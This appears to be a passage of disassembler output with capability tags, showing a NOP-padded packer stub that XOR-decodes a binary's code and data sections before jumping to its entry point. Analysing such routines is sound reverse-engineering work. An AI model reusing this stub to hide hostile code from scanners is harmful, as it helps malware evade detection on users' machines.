xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x53e391d9
sub ecx, 0x43e391d9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x1e22554c
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x3651077b
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219